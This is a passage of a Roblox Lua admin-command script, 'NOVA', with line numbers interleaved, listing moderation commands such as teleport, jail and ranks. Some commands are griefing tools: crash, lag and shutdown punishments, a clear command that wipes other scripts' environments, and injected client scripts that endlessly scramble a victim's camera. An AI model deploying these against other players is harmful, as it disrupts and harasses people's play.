        Output("Type","Random",Speaker,nil,
2401
            function()
2402
                RemoveTablets(Speaker)
2403
                Output("Kick",NOVA.Colors.Orange,Speaker,nil,
2404
                    function()
2405
                        NOVA.PRIType = "Kick"
2406
                        RemoveTablets(Speaker)
2407
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2408
                    end
2409
                )
2410
                Output("Lag",NOVA.Colors.Red,Speaker,nil,
2411
                    function()
2412
                        NOVA.PRIType = "Lag"
2413
                        RemoveTablets(Speaker)
2414
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2415
                    end
2416
                )
2417
                Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
2418
                    function()
2419
                        NOVA.PRIType = "Shutdown"
2420
                        RemoveTablets(Speaker)
2421
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2422
                    end
2423
                )
2424
                Output("Crash",NOVA.Colors.Orange,Speaker,nil,
2425
                    function()
2426
                        NOVA.PRIType = "Crash"
2427
                        RemoveTablets(Speaker)
2428
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2429
                    end
2430
                )
2431
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2432
            end
2433
        )
2434
        Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
2435
            function()
2436
                NOVA.PRI = true
2437
                RemoveTablets(Speaker)
2438
                OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2439
            end
2440
        )
2441
       
2442
        Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
2443
            function()
2444
                NOVA.PRI = false
2445
                RemoveTablets(Speaker)
2446
                OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2447
            end
2448
        )
2449
       
2450
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2451
    end
2452
)
2453
 
2454
--[[ GET COMMANDS ]]--
2455
 
2456
AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
2457
    function(Msg,Speaker)
2458
        if #Msg == 0 or Msg == nil then
2459
            RemoveTablets(Speaker)
2460
            for _,v in pairs(NOVA.Ranks) do
2461
                local RankNumber = v[1]
2462
                local RankName = v[2]
2463
                Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil,
2464
                    function()
2465
                        RemoveTablets(Speaker)
2466
                        for _,v in pairs(GetPlayersRaw()) do
2467
                            if GetRank(v) == RankNumber then
2468
                                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
2469
                                    function()
2470
                                        PlayerInterface(v,Speaker)
2471
                                    end
2472
                                )
2473
                            end
2474
                        end
2475
                        Output("Done",NOVA.Colors.Blue,Speaker,nil,
2476
                            function()
2477
                                OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
2478
                            end
2479
                        )
2480
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
2481
                    end
2482
                )
2483
            end
2484
            Output("ALL",NOVA.Colors.Blue,Speaker,nil,
2485
                function()
2486
                    RemoveTablets(Speaker)
2487
                   
2488
                    for _,v in pairs(GetPlayersRaw()) do
2489
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
2490
                            function()
2491
                                PlayerInterface(v,Speaker)
2492
                            end
2493
                        )
2494
                    end
2495
 
2496
                    Output("Done",NOVA.Colors.Blue,Speaker,nil,
2497
                        function()
2498
                            OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
2499
                        end
2500
                    )
2501
                    Output("Dismiss",NOVA.Colors.Red,Speaker)
2502
                end
2503
            )    
2504
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2505
        else
2506
            PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker)
2507
        end
2508
    end
2509
)
2510
 
2511
AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>",
2512
    function(Msg,Speaker)
2513
        Split = GetSplit(Msg)
2514
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2515
            GetRankedTable(v).Desc = Msg:sub(Split+1)
2516
            SyncRankOutSingular(v)
2517
        end
2518
    end
2519
)
2520
 
2521
AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
2522
    function(Msg,Speaker)
2523
        if Msg == "true" then
2524
            GetRankedTable(Speaker).CMD = true
2525
        elseif Msg == "false" then
2526
            GetRankedTable(Speaker).CMD = false
2527
            pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
2528
        else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
2529
        end
2530
        SyncRankOutSingular(Speaker)
2531
    end
2532
)
2533
 
2534
AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
2535
    function(Msg,Speaker)
2536
        pcall(function()
2537
            for i=1,4 do
2538
                Instance.new("HopperBin",Speaker.Backpack).BinType = i
2539
            end
2540
        end)
2541
    end
2542
)
2543
 
2544
AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
2545
    function(Msg,Speaker)
2546
        pcall(function()
2547
            Speaker:LoadCharacter()
2548
        end)
2549
    end
2550
)
2551
 
2552
AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments",
2553
    function(Msg,Speaker)
2554
        Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
2555
    end
2556
)
2557
 
2558
AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
2559
    function(Msg,Speaker)
2560
        pcall(function()
2561
            for _,v in pairs(GetPlayers(Msg,Speaker)) do
2562
                for i=1,4 do
2563
                    Instance.new("HopperBin",Speaker.Backpack).BinType = i
2564
                end
2565
            end
2566
        end)
2567
    end
2568
)
2569
 
2570
AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>",
2571
    function(Msg,Speaker)
2572
        local Split = GetSplit(Msg)
2573
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2574
            if GetRank(Speaker) > GetRank(v) then
2575
                if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then
2576
                    Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5)
2577
                else
2578
                    GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1))
2579
                    SyncRankOutSingular(v)
2580
                end
2581
            end
2582
        end
2583
    end
2584
)
2585
 
2586
AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
2587
    function(Msg,Speaker)
2588
 
2589
        Split = GetSplit(Msg)              
2590
        send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
2591
        to = GetPlayers(string.sub(Msg,Split+1),Speaker)
2592
        for _,a in pairs(send) do
2593
            for _,b in pairs(to) do
2594
                pcall(function()
2595
                    a.Character.Torso.CFrame = b.Character.Torso.CFrame
2596
                end)
2597
            end
2598
        end
2599
       
2600
    end
2601
)
2602
 
2603
AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
2604
    function(Msg,Speaker)
2605
 
2606
        Split = GetSplit(Msg)          
2607
        send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
2608
        to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
2609
        for i, player in pairs(send) do
2610
            pcall(function()
2611
                player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position)
2612
                * CFrame.Angles(0, math.rad(i * 360 / #send), 0)
2613
                * CFrame.new(0, 0, 3 + (#send*2) )
2614
            end)
2615
        end
2616
    end
2617
)
2618
 
2619
AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
2620
    function(Msg,Speaker)
2621
        Split = GetSplit(Msg)                
2622
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2623
            pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
2624
        end
2625
    end
2626
)
2627
 
2628
AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
2629
    function(Msg,Speaker)
2630
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2631
            pcall(function()
2632
                v.Character:BreakJoints()
2633
                E = Instance.new("Explosion",NOVA.Services.Workspace)
2634
                E.Position = v.Character.Torso.Position
2635
                E.BlastPressure = 124000
2636
            end)
2637
        end
2638
    end
2639
)
2640
 
2641
AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
2642
    function(Msg,Speaker)
2643
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2644
            pcall(function()
2645
                v.Character.Humanoid.MaxHealth = math.huge
2646
            end)
2647
        end
2648
    end
2649
)
2650
 
2651
AddCommand("God","god",2,"makes the selected player god.","<Player>",
2652
    function(Msg,Speaker)
2653
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2654
            pcall(function()
2655
                v.Character.Torso.Touched:connect(function(part)
2656
                    if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
2657
                        part.CanCollide = true
2658
                        part:BreakJoints()
2659
                        for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end
2660
                    end
2661
                end)
2662
            end)
2663
        end
2664
    end
2665
)
2666
 
2667
AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
2668
    function(Msg,Speaker)
2669
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2670
            pcall(function()
2671
                v.Character.Parent = NOVA.Services.Lighting
2672
            end)
2673
        end
2674
    end
2675
)
2676
 
2677
AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
2678
    function(Msg,Speaker)
2679
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2680
            pcall(function()
2681
                v.Character.Parent = NOVA.Services.Workspace
2682
                v.Character:MakeJoints()
2683
                pcall(function() v.Character.Animate.Disabled = false end)
2684
            end)
2685
        end
2686
    end
2687
)
2688
 
2689
AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
2690
    function(Msg,Speaker)
2691
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2692
            pcall(function()
2693
                for _,part in pairs(v.Character:GetChildren()) do
2694
                    pcall(function()
2695
                        part.Anchored = true
2696
                    end)
2697
                end
2698
            end)
2699
        end
2700
    end
2701
)
2702
 
2703
AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
2704
    function(Msg,Speaker)
2705
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2706
            pcall(function()
2707
                for _,part in pairs(v.Character:GetChildren()) do
2708
                    pcall(function()
2709
                        part.Anchored = false
2710
                    end)
2711
                end
2712
            end)
2713
        end
2714
    end
2715
)
2716
 
2717
AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
2718
    function(Msg,Speaker)
2719
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2720
            pcall(function()
2721
                for _,part in pairs(v.Backpack:GetChildren()) do
2722
                    part:Destroy()
2723
                end
2724
            end)
2725
        end
2726
    end
2727
)
2728
 
2729
AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
2730
    function(Msg,Speaker)
2731
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2732
            pcall(function()
2733
                v.Backpack:Destroy()
2734
            end)
2735
        end
2736
    end
2737
)
2738
 
2739
AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
2740
    function(Msg,Speaker)
2741
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2742
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2743
            pcall(function() v.Character.Humanoid.Sit = true end)
2744
        end
2745
    end
2746
)
2747
 
2748
AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
2749
    function(Msg,Speaker)
2750
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2751
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2752
            pcall(function() v.Character.Humanoid.Sit = false end)
2753
        end
2754
    end
2755
)
2756
 
2757
AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
2758
    function(Msg,Speaker)
2759
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2760
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2761
            pcall(function() v.Character.Humanoid.Jump = true end)
2762
        end
2763
    end
2764
)
2765
 
2766
AddCommand("Control","control",2,"Controls the selected player","<Player>",
2767
    function(Msg,Speaker)
2768
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2769
            pcall(function()
2770
                Speaker.Character = v.Character
2771
            end)
2772
        end
2773
    end
2774
)
2775
 
2776
AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
2777
    function(Msg,Speaker)
2778
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2779
            pcall(function()
2780
                for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
2781
                    coroutine.resume(coroutine.create(function()
2782
                        for i=1,10  do
2783
                            wait()
2784
                            v.Transparency = v.Transparency + 0.1
2785
                        end
2786
                    end))
2787
                end
2788
            end)
2789
        end
2790
    end
2791
)
2792
 
2793
AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
2794
    function(Msg,Speaker)
2795
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2796
            pcall(function()
2797
                for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
2798
                    coroutine.resume(coroutine.create(function()
2799
                        for i=1,10  do
2800
                            wait()
2801
                            v.Transparency = v.Transparency - 0.1
2802
                        end
2803
                    end))
2804
                end
2805
            end)
2806
        end
2807
    end    
2808
)
2809
 
2810
AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
2811
    function(Msg,Speaker)
2812
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2813
            pcall(function()
2814
                for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
2815
            end)
2816
        end
2817
    end
2818
)
2819
 
2820
AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
2821
    function(Msg,Speaker)
2822
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2823
            pcall(function()
2824
                for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
2825
            end)
2826
        end
2827
    end
2828
)
2829
 
2830
AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
2831
    function(Msg,Speaker)
2832
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2833
            pcall(function()
2834
                coroutine.resume(coroutine.create(function()
2835
                    local MainCF = v.Character.Torso.CFrame
2836
                    local Main = Instance.new("Model",workspace)
2837
                    Main.Name = "Main"
2838
                    table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker})
2839
                    for Pitch = 1, 360, 360 do
2840
                        for Yaw = 1, 360, 360/13 do
2841
                            for Angle = 1,180, 8 do
2842
                                local Part = Instance.new("Part",Main)
2843
                                Part.Name = "Part"
2844
                                Part.FormFactor = "Custom"
2845
                                Part.TopSurface = "Smooth"
2846
                                Part.BottomSurface = "Smooth"
2847
                                Part.Reflectance = 0
2848
                                Part.Transparency = 0
2849
                                Part.Anchored = true
2850
                                Part.Locked = true
2851
                                Part.CanCollide = true
2852
                                Part.BrickColor = BrickColor.new("Navy blue")
2853
                                Part.Size = Vector3.new(2,1,4)
2854
                                Part.CFrame = MainCF
2855
                                    * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
2856
                                    * CFrame.new(0,5,0)
2857
                                local Mesh = Instance.new("BlockMesh",Part)
2858
                                Mesh.Scale = Vector3.new(1,1,0.1)
2859
                                if math.floor(Angle/5) == Angle/5 then
2860
                                    wait()
2861
                                end
2862
                            end
2863
                        end
2864
                    end
2865
                   
2866
                    v.Character.Torso.CFrame = MainCF
2867
                   
2868
                    while Main.Parent ~= nil do
2869
                        wait()
2870
                        pcall(function()
2871
                            if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
2872
                                v.Character.Torso.CFrame = MainCF
2873
                            end
2874
                        end)
2875
                    end
2876
                end))
2877
            end)
2878
        end
2879
    end
2880
)
2881
 
2882
AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>",
2883
    function(Msg,Speaker)
2884
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2885
            for Num,Jail in pairs(NOVA.Jails) do
2886
                if Jail.Player ~= nil and Jail.Player == v then
2887
                    pcall(function() Jail.Jail:Destroy() end)
2888
                    table.remove(NOVA.Jails,Num)
2889
                end
2890
            end
2891
        end
2892
    end
2893
)
2894
 
2895
AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments",
2896
    function(Msg,Speaker)
2897
        for i,v in pairs(_G) do
2898
            if type(v) == "function" and getfenv(v).NOVA == nil then
2899
                for var,val in pairs(getfenv(v)) do
2900
                    pcall(function() getfenv(v)[var] = nil end)
2901
                end
2902
            end
2903
        end
2904
        for i,v in pairs(_G) do
2905
            _G[i] = nil
2906
        end
2907
        SetGlobals()
2908
        for _,v in pairs(NOVA.Services) do
2909
            v.Name = "Unknown Exception"
2910
        end    
2911
        for i,v in pairs(GetRecursiveChildren()) do
2912
            pcall(function()
2913
                if not v:IsA("Player") then
2914
                    pcall(function()
2915
                        if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
2916
                        else
2917
                            pcall(function()
2918
                                v.Disabled = true
2919
                            end)
2920
                            pcall(function()
2921
                                NOVA.Services.Debris:AddItem(v,0)
2922
                            end)
2923
                        end
2924
                    end)
2925
                end
2926
            end)
2927
        end
2928
        for _,v in pairs(NOVA.Services) do    
2929
            v.Name = v.className
2930
        end
2931
        local Base=Instance.new("Part",NOVA.Services.Workspace)
2932
        Base.Name="Base"
2933
        Base.Size=Vector3.new(2048,1,2048)
2934
        Base.BrickColor=BrickColor.new("Bright green")
2935
        Base.Anchored=true
2936
        Base.Locked=true
2937
        Base.TopSurface="Smooth"
2938
        Base.Transparency = 1
2939
        Base.CFrame=CFrame.new(Vector3.new(0,0,0))
2940
        local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
2941
        Spawn.Size=Vector3.new(6,1,6)
2942
        Spawn.Transparency=1
2943
        Spawn.CanCollide=false
2944
        Spawn.Anchored=true
2945
        Spawn.Locked=true
2946
        Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
2947
        for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end
2948
    end
2949
)
2950
 
2951
AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
2952
    function (Msg,Speaker)
2953
        Split = GetSplit(Msg)
2954
        for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
2955
            pcall(function()
2956
                Team = nil
2957
                for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
2958
                    if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
2959
                        Team = find
2960
                    end
2961
                end
2962
                v.TeamColor = Team.TeamColor
2963
            end)
2964
        end
2965
    end
2966
)
2967
 
2968
AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
2969
    function(Msg,Speaker)
2970
        RemoveTablets(Speaker)
2971
        for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
2972
            if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
2973
                v:Remove()
2974
            end
2975
        end
2976
    end
2977
)
2978
 
2979
AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
2980
    function(Msg,Speaker)
2981
        Split = GetSplit(Msg)
2982
        Team = Instance.new("Team",NOVA.Services.Teams)
2983
        Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
2984
        Team.Name = Msg:sub(1,Split-1)
2985
        Team.AutoAssignable = false
2986
        Team.Neutral = false
2987
    end
2988
)
2989
 
2990
AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
2991
    function(Msg,Speaker)
2992
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2993
            v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
2994
        end
2995
    end
2996
)
2997
 
2998
AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>",
2999
    function(Msg,Speaker)
3000
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3001
       
3002
                        local ride = Instance.new("VehicleSeat", Workspace)
3003
                        ride.Position = v.Character.Torso.Position
3004
                        ride.HeadsUpDisplay = false
3005
                        ride.Size = Vector3.new(3,3,3)
3006
                        local bg = Instance.new("BodyGyro", ride)
3007
                        bg.maxTorque = Vector3.new(1e10,1e10,1e10)
3008
                        local bp = Instance.new("BodyPosition", ride)
3009
                        bp.position = v.Character.Torso.Position
3010
                        bp.maxForce = Vector3.new(1e10,1e10,1e10)
3011
                        Mesh = Instance.new("SpecialMesh")
3012
                        Mesh.Parent = ride
3013
                        Mesh.MeshType = Enum.MeshType.Sphere
3014
                        ride.Transparency = 0.40000000596046
3015
 
3016
                        while wait() do
3017
                            bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0)
3018
                            bp.position = bp.position + bg.cframe.lookVector*ride.Throttle
3019
                        end
3020
                       
3021
        end
3022
    end
3023
)
3024
 
3025
 
3026
 
3027
AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
3028
    function(Msg,Speaker)
3029
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3030
            v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
3031
        end
3032
    end
3033
)
3034
 
3035
AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
3036
    function(Msg,Speaker)
3037
        for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
3038
            if Prometheus ~= nil then
3039
                if v ~= Prometheus.script("lushmylife") then
3040
                    pcall(function()
3041
                        v:Destroy()
3042
                    end)
3043
                end
3044
            else
3045
                pcall(function()
3046
                    v:Destroy()
3047
                end)
3048
            end
3049
        end    
3050
       
3051
        local Base=Instance.new("Part",NOVA.Services.Workspace)
3052
        Base.Name="Base"
3053
        Base.Size=Vector3.new(2048,1,2048)
3054
        Base.BrickColor=BrickColor.new("Dark green")
3055
        Base.Anchored=true
3056
        Base.Locked=true
3057
        Base.TopSurface="Studs"
3058
        Base.Transparency = 0
3059
        Base.CFrame=CFrame.new(Vector3.new(0,0,0))
3060
        local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
3061
        Spawn.Size=Vector3.new(6,1,6)
3062
        Spawn.Transparency=1
3063
        Spawn.CanCollide=false
3064
        Spawn.Anchored=true
3065
        Spawn.Locked=true
3066
        Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))        
3067
        for _,v in pairs(GetPlayersRaw()) do
3068
            v:LoadCharacter()
3069
        end
3070
   
3071
    end
3072
)
3073
 
3074
AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
3075
    function(Msg,Speaker)
3076
        RemoveTablets(Speaker)
3077
        Explore(game,Speaker)
3078
    end
3079
)
3080
 
3081
AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
3082
    function(Msg,Speaker)
3083
        if NOVA.LockedScripts == true then
3084
            NOVA.LockedScripts = false
3085
        elseif NOVA.LockedScripts == false then
3086
            NOVA.LockedScripts = true
3087
        end
3088
       
3089
    end
3090
)
3091
 
3092
AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
3093
    function(Msg,Speaker)
3094
        for _,v in pairs(GetPlayers(Msg,Speaker)) do    
3095
            for i=1,25 do
3096
                coroutine.resume(coroutine.create(function()
3097
                    wait()
3098
                    local Part = Instance.new("Part",NOVA.Services.Workspace)
3099
                    Part.FormFactor = "Custom"
3100
                    Part.Transparency = 1
3101
                    Part.CanCollide = false
3102
                    Part.Anchored = false
3103
                    Part.Locked = true
3104
                    Part.Size = Vector3.new(1,1,1)
3105
                    Part.CFrame = v.Character.Head.CFrame
3106
                    Part:BreakJoints()
3107
                   
3108
                    local BBG = Instance.new("BillboardGui",Part)
3109
                    BBG.Adornee = Part
3110
                    BBG.Size = UDim2.new(3,0,1,0)
3111
                    --BBG.StudsOffset = Vector3.new(0, 0, 1)
3112
 
3113
                    local Img = Instance.new("ImageLabel",BBG)
3114
                    Img.Size = UDim2.new(1,0,1,0)
3115
                    Img.BackgroundTransparency = 1
3116
                    Img.Image = "http://www.roblox.com/asset/?id=45120559"
3117
                   
3118
                    local BP = Instance.new("BodyPosition",Part)
3119
                    BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
3120
                    --BP.D = 2000
3121
                    BP.P = 1000
3122
                    BP.position = Part.Position + Vector3.new(
3123
                        math.random(-7,7),
3124
                        math.random(-7,7),
3125
                        math.random(-7,7))
3126
                       
3127
                    for v = 3,0,-0.1 do
3128
                        wait(0.1)
3129
                        BBG.Size = UDim2.new(v,0,v,0)
3130
                    end
3131
                    Part:Remove()
3132
                end))
3133
            end
3134
        end
3135
    end
3136
)
3137
 
3138
AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
3139
    function(Msg,Speaker)
3140
        NOVA.Canceled = true
3141
    end
3142
)
3143
 
3144
AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
3145
    function(Msg,Speaker)
3146
        Split = GetSplit(Msg)
3147
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3148
            pcall(function()
3149
                local OldHead = v.Character.Head
3150
                local Model = Instance.new("Model",v.Character.Head)
3151
                Model.Name = Msg:sub(Split+1)
3152
                local Head = OldHead:Clone()
3153
                Head.Parent = Model
3154
                Head.Transparency = 0
3155
                Head.Name = "Head"
3156
                Head.CanCollide = false
3157
                local Hum = Instance.new("Humanoid",Model)
3158
                Hum.MaxHealth = 0
3159
                local Weld = Instance.new("Weld",Head)
3160
                Weld.Part0 = Head
3161
                Weld.Part1 = OldHead
3162
                Weld.C0 = CFrame.new(0,0,0)
3163
                OldHead.Transparency = 1
3164
            end)
3165
        end
3166
    end
3167
)
3168
 
3169
AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>",
3170
    function(Msg,Speaker)
3171
        Split = GetSplit(Msg)
3172
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3173
            pcall(function()
3174
                local Char = v.Character
3175
                Char.Archivable = true
3176
                Char = Char:Clone()
3177
                Char.Name = Msg:sub(Split+1)
3178
                v.Character:Destroy()
3179
                Char.Parent = workspace
3180
                v.Character = Char
3181
            end)
3182
        end
3183
    end
3184
)
3185
 
3186
AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
3187
    function(Msg,Speaker)
3188
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3189
            CreateLocalScript([[
3190
                script.Parent = nil
3191
                LocalPlayer = game.Players.LocalPlayer
3192
                Camera = workspace.CurrentCamera
3193
                Camera.CameraType = "Scriptable"
3194
                for i=1,700 do
3195
                    wait()
3196
                    Camera = workspace.CurrentCamera
3197
                    Camera.CameraType = "Scriptable"
3198
                    Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
3199
                    Camera.CameraType = "Scriptable"
3200
                    Camera:SetRoll(Camera:GetRoll()+0.01)
3201
                    pcall(function()
3202
                        LocalPlayer.Character.Head.Sound:Play()
3203
                    end)
3204
                end
3205
                Camera:SetRoll(0)
3206
                Camera.CameraType = "Custom"
3207
                Camera.FieldOfView = 70
3208
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
3209
            ]],v.Backpack)
3210
        end
3211
    end
3212
)
3213
 
3214
AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
3215
    function(Msg,Speaker)
3216
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3217
            CreateLocalScript([[
3218
                script.Parent = nil
3219
                LocalPlayer = game.Players.LocalPlayer
3220
                Camera = workspace.CurrentCamera
3221
                Camera.CameraType = "Scriptable"
3222
                for i=1,math.huge do
3223
                    wait()
3224
                    Camera = workspace.CurrentCamera
3225
                    Camera.CameraType = "Scriptable"
3226
                    Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
3227
                    Camera.CameraType = "Scriptable"
3228
                    Camera:SetRoll(Camera:GetRoll()+0.01)
3229
                    pcall(function()
3230
                        LocalPlayer.Character.Head.Sound:Play()
3231
                    end)
3232
                end
3233
                Camera:SetRoll(0)
3234
                Camera.CameraType = "Custom"
3235
                Camera.FieldOfView = 70
3236
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
3237
            ]],v.Backpack)
3238
        end
3239
    end
3240
)
3241
 
3242
AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
3243
    function(Msg,Speaker)
3244
        for _,v in pairs(NOVA.Credit) do
3245
            Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
3246
        end
3247
    end
3248
)
3249
 
3250
AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
3251
    function(Msg,Speaker)
3252
        pcall(function()
3253
